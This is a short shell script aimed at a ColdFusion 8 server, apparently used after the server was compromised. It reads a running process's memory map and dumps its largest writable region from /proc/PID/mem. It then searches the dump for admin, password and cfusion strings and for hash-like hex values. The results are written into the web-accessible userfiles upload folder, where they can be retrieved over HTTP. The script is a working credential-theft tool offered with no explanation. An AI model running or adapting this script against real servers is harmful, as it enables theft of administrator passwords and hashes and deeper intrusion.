#!/bin/sh
O=/opt/coldfusion8/wwwroot/userfiles/file/cfpw12_out.txt
PID=6136
echo "PID=$PID" > $O
echo "=== maps rw-p (col2) ===" >> $O
cat /proc/$PID/maps 2>/dev/null | awk '$2=="rw-p" {print $1}' | head -6 >> $O
L=$(cat /proc/$PID/maps 2>/dev/null | awk '$2=="rw-p" {split($1,a,"-"); s=strtonum("0x" a[2])-strtonum("0x" a[1]); if(s>m){m=s; st=a[1]}} END{print st, m}')
echo "largest=$L" >> $O
ST=$(echo "$L" | awk '{print $1}')
echo "=== dump heap 80MB + strings ===" >> $O
if [ -n "$ST" ]; then
  dd if=/proc/$PID/mem bs=4096 skip=$((0x$ST/4096)) count=20000 2>/dev/null > /tmp/jheap.bin
  echo "dumped $(wc -c < /tmp/jheap.bin)" >> $O
  strings -el /tmp/jheap.bin 2>/dev/null | grep -iE 'admin|password|cfusion|^[0-9a-f]{32,64}$' | head -25 >> $O
  echo "---ascii---" >> $O
  strings -a /tmp/jheap.bin 2>/dev/null | grep -iE 'admin|password|cfusion' | head -10 >> $O
fi
cat $O >> $O
